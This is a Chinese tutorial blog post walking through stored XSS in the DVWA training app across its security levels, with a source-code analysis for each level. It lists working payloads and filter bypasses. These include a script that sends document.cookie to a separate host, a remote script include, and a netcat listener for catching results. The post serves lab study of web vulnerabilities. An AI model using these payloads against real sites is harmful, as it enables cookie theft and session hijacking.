赞
踩
目录
- 长期存储于服务器端
- 每次用户访问都会被执行javascript脚本
了解XSS简介以及反射型XSS,请戳此超链接——Kali渗透测试之DVWA系列4——反射型XSS(跨站脚本攻击)
获取cookie
- 黑客首先向服务器发送js脚本
- 服务器将js页面存储在服务器上,并将含有js脚本的页面发给黑客
- 当被攻击方访问服务器时,服务器返回js页面
- 黑客获取被攻击方的cookie
重定向
- 黑客首先向服务器发送js脚本
- 服务器将js页面存储在服务器上,并将含有js脚本的页面发给黑客
- 当被攻击方访问服务器时,服务器返回js页面
- 被攻击方点击url重定向到第三方网站
1、测试机:物理机Windows 10,远程登录DVWA;安装BurpSuite
2、DVWA服务器:Windows Server 2003(192.168.247.129),启动phpStudy。
查看源码
源码分析
- trim(string,charlist):移除字符串两侧的空白字符或其他预定义字符,预定义字符包括、\t、\n、\x0B、\r以及空格,可选参数charlist支持添加额外需要删除的字符;
- mysql_real_escape_string(string,connection):对字符串中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义;
- stripslashes(string):删除字符串中的反斜杠。
从源码中可以看到,对输入的name参数和message参数并没有做XSS方面的过滤与检查,并且数据存储在数据库中,所以存在明显的存储型XSS漏洞;
使用场景
1、简单应用,输入test
每使用一次存储型数据库,需重置数据库,以免影响下一次实验。
2、<script>alert(‘XSS’)</script>;弹出弹框
注:存储型XSS是长期存储在服务器端,每次访问时都会执行js脚本
3、<body οnlοad=alert(‘XSS1’)>;弹出弹框
4、<a href=http://192.168.247.129>登录</a>;点击 ' 登录 ',直接跳转到http://192.168.247.129页面。
5、<img src=http://192.168.247.129/a.jpg οnerrοr=alert(‘XSS2’)>
文本框输入的数据长度如果有限制,可以使用如下方法解决:
6、<a href='' οnclick=alert('XSS3')>点击</a>
7、<script>window.location=http://www.baidu.com</script> #提交后,重定向到百度
8、<script>window.location="http://192.168.247.129"</script> #重定向到http://192.168.247.129
9、<iframe src='http://192.168.247.129/a.jpg' height='0' width='0'></iframe>
10、<script>new Image().src="http://192.168.247.157/c.php?output="+document.cookie;</script>
11、<script>alert(document.cookie)</script>;直接弹出一个弹窗,显示cookie值。
12、<script src='http://192.168.247.157/a.js'></script>
步骤:
- 在Kali的 /var/www/html 目录下制作一个js脚本
- 在Kali的 /var/www/html 目录下开启 Apache服务(/etc/init.d/apache2 start)(截图上忘记放这一步了)
- 监听指定的端口88(nc -vnlp 88)
- 访问ip/js脚本
- 获取到js脚本实现的结果
查看源码
源码分析
由于对message参数使用了htmlspecialchars函数进行编码,因此无法再通过message参数注入XSS代码;
对于name参数,这里是基于黑名单的思想,使用str_replace函数将输入中的<script>删除,把script脚本当做字符串来处理,仍然存在存储型的XSS。
解决方法
1、<Script>alert(‘XSS’)</script> #可以在name中将<script>可以写成<Script>,大小写混淆绕过
2、<scr<script>ipt>alert('XSS1')</script> #嵌入绕过,在name中可以将script嵌入到<script>中,例如<scr<script>ipt>
查看源码
源码分析
对message参数使用了htmlspecialchars函数进行编码,因此无法再通过message参数注入XSS代码;
对于name参数,High级别的代码使用preg_replace() 函数用于正则表达式的搜索和替换,将script前后相关的内容都替换为空,使得双写绕过、大小写混淆绕过不再有效;(正则表达式中i表示不区分大小写)
虽然在name参数中无法使用<script>标签注入XSS代码,但是可以通过img、body等标签事件或者iframe等标签的src注入恶意的js代码。
解决方法
对于安全级别为high,在name中只是添加了对script的限制,但并未限制其他方式,例如:
1、<body οnlοad=alert(‘XSS1’)>
2、<a href=http://192.168.247.129>登录</a>
查看源码
源码分析
当安全级别为impossible时,对name、message参数均使用了htmlspecialchars函数进行编码,因此无法再通过name、message参数注入XSS代码,不能实现存储型XSS攻击。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。